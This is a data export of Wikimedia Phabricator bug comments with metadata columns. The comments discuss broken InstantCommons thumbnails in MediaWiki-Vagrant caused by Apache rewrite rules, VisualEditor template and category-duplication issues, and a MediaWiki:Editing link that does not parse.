+[[https://gerrit.wikimedia.org/r/223477]]",,,1436327387,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+488429,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223493 had a related patch set uploaded (by BryanDavis):
+Fix thumb on 404 role for multiwiki reality
+
+[[https://gerrit.wikimedia.org/r/223493]]
+",,,1436327281,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+488409,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223480 had a related patch set uploaded (by Gergő Tisza):
+Use 404 handler for all wikis when the role is enabled
+
+[[https://gerrit.wikimedia.org/r/223480]]
+",,,1436318919,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+488399,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223477 had a related patch set uploaded (by Gergő Tisza):
+Fix thumb rewrite rules
+
+[[https://gerrit.wikimedia.org/r/223477]]
+",,,1436317320,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+488394,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"From the Apache docs:
+> REQUEST_FILENAME
+> The full local filesystem path to the file or script matching the request, if this has already been determined by the server at the time REQUEST_FILENAME is referenced. Otherwise, such as when used in virtual host context, the same value as REQUEST_URI. Depending on the value of AcceptPathInfo, the server may have only used some leading components of the REQUEST_URI to map the request to a file.
+
+So apparently the problem is that Apache does not map the URI to the filesystem path before checking whether the file exists. If I disable the rewrite rule, the thumbnail appears correctly.",,,1436316316,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+488384,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Probably even more broken on other wikis since the 404 handler config rule seems to only be applied to the default wiki (and the one created by the `commonswiki` role which has its own apache rules).,,,1436313920,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+488383,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Contents of `/etc/apache2/site-confs/devwiki/50-thumb-php-on-404.conf`:
+```
+RewriteEngine On
+
+# call thumb.php for thumb images not on disk
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteCond %{REQUEST_FILENAME} !-d
+RewriteRule ^/images/thumb/[0-9a-f]/[0-9a-f][0-9a-f]/([^/]+)/[^/]*([0-9]+)px-.*$ /w/thumb_handler.php [PT,QSA,B]
+
+
+# call thumb.php for thumb archive images not on disk
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteCond %{REQUEST_FILENAME} !-d
+RewriteRule ^/images/thumb/archive/[0-9a-f]/[0-9a-f][0-9a-f]/([^/]+)/[^/]*([0-9]+)px-.*$ /w/thumb_handler.php [PT,QSA,B]
+```
+
+Contents of `/etc/apache2/site-confs/devwiki/50-devwiki-images.conf`:
+```
+# vim: filetype=apache sts=4 sw=4 autoindent
+#
+# This file is managed by Puppet.
+#
+<Directory /srv/images>
+    Require all granted
+    Header set Access-Control-Allow-Origin ""*""
+</Directory>
+
+Alias /images /srv/images
+```
+
+Apache log with `LogLevel alert rewrite:trace6`:
+```
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace2] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] init rewrite engine with requested uri /images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace3] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] applying pattern '^/$' to uri '/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg', referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace3] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] applying pattern '^/images/thumb/[0-9a-f]/[0-9a-f][0-9a-f]/([^/]+)/[^/]*([0-9]+)px-.*$' to uri '/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg', referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace4] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] RewriteCond: input='/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg' pattern='!-f' => matched, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace4] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] RewriteCond: input='/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg' pattern='!-d' => matched, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace2] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] rewrite '/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg' -> '/w/thumb_handler.php', referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace2] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] forcing '/w/thumb_handler.php' to get passed through to next API URI-to-filename handler, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
+```
+
+The thumbnail is at `/srv/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg`. I don't get why the `!-f` rule matches, somehow the alias does not get applied?",,,1436313779,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+488377,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Still (or again) broken. Commons API is used without a problem, the image is thumbnailed, but Apache redirects the request to `thumb.php` even though the thumbnail exists and seems to be in the right place. (`thumb.php` cannot handle remote images, that's T27958.)",,,1436313023,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+482831,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Can't reproduce this anymore. https://gerrit.wikimedia.org/r/217769 might have fixed it.,,,1435366189,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,103,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+480249,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Same for me. This is actually impacting my ability to code review certain changes... :-/,,,1435087748,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,103,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+393926,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Enabling the multimedia role on a fresh MW-Vagrant box still produces broken thumbnails for me. (""//Error generating thumbnail: The source file 'XXX' does not exist.//"")",,,1419909145,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,78,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+393877,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"@Eloquence, @tgr Is this still a problem?",,,1419899284,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,78,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0
+240331,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Bulk unassigning bugs from Ori.,,,1416260174,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+240326,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"In the latest MediaWiki Vagrant with the multimedia role enabled, InstantCommons does not successfully generate thumbnails for me. The issue goes away if I comment out the thumb-php-on-404 handler, so I suspect it's an issue with the rewrite rule. CCing Bryan since he wrote that template.",,,1401153590,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,1,0
+240322,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"I can confirm that Gergo's workaround does the trick, even for a Vagrant newbie like me.
+
+So even if we can't fix this in code right away, at least we have a solution for making this work temporarily.
+
+Thanks for this!",,,1394693207,,PHID-USER-dbudsaorcqut7sg3vvbi,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+240319,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Bawolff: I could reproduce this with the multimedia vagrant role enabled, which in theory should enable 404-based image handling.",,,1394665838,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+240313,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Workaround:
+
+<?php
+$wgUseInstantCommons = false;
+$wgForeignFileRepos[] = array(
+    'class' => 'ForeignAPIRepo',
+    'name' => 'wikimediacommons',
+    'apibase' => 'http://commons.wikimedia.org/w/api.php',
+    'fetchDescription' => true,
+    'descriptionCacheExpiry' => 0,
+    'apiThumbCacheExpiry' => 0,
+);
+
+I started to track this down some weeks ago but ran out of time and had to give up. The issue was MediaWiki getting confused about which local directory to use for the thumb cache IIRC.",,,1394665237,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,36,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+240307,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"This is a known issue of using thumb.php directly instead of from a 404 handler. (Not sure how ""known"" in any case, not new)",,,1380304952,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,12,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1
+240300,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Oddly, if I insert an image from Commons through VisualEditor it appears to work ok inline.
+
+If I insert one in source, I get ""Error creating thumbnail: Invalid thumbnail parameters"".
+
+whaaaaaat?",,,1380304811,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+56186,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter","(Hopefully other reporters will improve the title and description if necessary!)
+The French Wikipedia has a number of templates which usually ask for some kind of clarification about a whole passage of text (see https://fr.wikipedia.org/wiki/Mod%C3%A8le:Refnec#Exemples ).
+So users are asking that, when they select that text and launch the template inspector, the text is already recognized as a ""parameter"" for that template.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1379367180,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_description,open,True,c1,3,False,False,,11,,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+239276,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter",I think a better way to solve this would be to somehow allow templates to be treated as 'annotations' in VE (like bold style or links).,,,1403885820,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,True,,,51,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+239273,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter","This feature would be very helpful for other common templates in articles. For example, the {{Colonnes}} template on French wiki, or its equivalent {{columns-list}} template on English wiki to put text/lists on several columns.
+
+https://en.wikipedia.org/wiki/Template:Columns-list",,,1379522740,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,False,,,11,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+239268,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter","I think it's not only the French wiki that may use this... On English wiki, the equivalent of {{Refnec}} and its ""1"" parameter is {{Citation needed span}} and its ""text"" parameter.
+
+Maybe a way of implementing this would be the following :
+* Add an information in TemplateData to be able to tell which parameter should be initialized with the selected text
+* When you insert a template with VE, if the TemplateData as such configuration, use the selected text to initialize the parameter",,,1379367849,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+239260,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter",And I think that such a functionality would need to be able to remove the template by replacing it with its first parameter.,,,1379367567,,PHID-USER-5pyvkdz65d5h5vxebodc,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+56169,VisualEditor: Duplicating categories (and possibly also something else),"NicoV reports this diff,
+https://fr.wikipedia.org/w/index.php?title=Blood_Lad&diff=96657484&oldid=96506947 .
+Assuming the user deleted the infobox without realizing it, I did not manage to reproduce the duplication of categories inside a reference tag (line 38); if I just copy/paste them they get nowikied, so it shouldn't be a vandalism.  
+
+CCing subbu and gwicke here. T52120 and T54238 come to mind, but I'm not sure if it's really a dupe.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+T54238
+T52120
+T76715
+T89618",Low,25.0,1379347920,1425592411.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+237999,VisualEditor: Duplicating categories (and possibly also something else),Think this was all fixed,,,1415881087,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,True,,,71,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+237991,VisualEditor: Duplicating categories (and possibly also something else),"https://fr.wikipedia.org/w/index.php?title=Bello_de_Carcassonne&diff=107097528&oldid=107091155 duplicated two categories and added others, but not within a ref tag.  It also added a blank (== ==) section heading after the misplaced cats.",,,1409788705,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+237986,VisualEditor: Duplicating categories (and possibly also something else),"Yes Gabriel, I tried to behave like a vandal :) and wanted to paste templates and categories into the reference, to understand if this was what the user had actually done.
+But as you can see here https://fr.wikipedia.org/w/index.php?title=Utilisateur%3AElitre_%28WMF%29%2FProve&diff=96710198&oldid=96710142 my result is different, in that the pasted content generated nowiki tags, so the duplication in the article is not a result of copy/pasting that content into the reference editor.",,,1379350998,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+237979,VisualEditor: Duplicating categories (and possibly also something else),"(In reply to comment #0)
+> NicoV reports this diff,
+> https://fr.wikipedia.org/w/index.
+> php?title=Blood_Lad&diff=96657484&oldid=96506947
+> .
+> Assuming the user deleted the infobox without realizing it, I did not manage
+> to
+> reproduce the duplication of categories inside a reference tag (line 38); if
+> I
+> just copy/paste them they get nowikied, so it shouldn't be a vandalism.
+
+Can you clarify what you mean with 'just copy/paste them'? Do you mean copy/pasting wikitext into VE?",,,1379350615,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+56127,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Change in MediaWiki:Editing notice to a links does not  parse
+
+Hi,
+
+
+When I tried to add a internal link (related to [[Special:Preferences#mw-prefsection-editing]])  to MediaWiki:Editing, it did not parse as shown in attachment.  
+
+
+*Exact edit  difference which I tried https://mr.wikipedia.org/w/index.php?title=मिडियाविकी%3AEditing&diff=1200554&oldid=44085 the result is shown in the attachment.
+
+
+*The purpose of edit was to request users to give a try to VisualEditor and report input issues . (Issues related to usability of Marathi Devnagari script are very crucial to us )
+
+
+I am not sure whether this a normal limitation of MediaWiki messages  and so not sure whether this will be accepted as a bug.
+
+But still prefered to report this bug since it is simmiller problem of parsing which I observed in Bug no 45195 also and just prefered to keep developers informed.
+
+Thanks and regards
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**Whiteboard**: aklapper-moreinfo
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=45195
+
+**Attached**: {F11186}",Low,25.0,1379172900,1379943675.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-43yopxeqsvyzzvqfuavz,task_description,invalid,True,c1,3,False,False,True,10,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
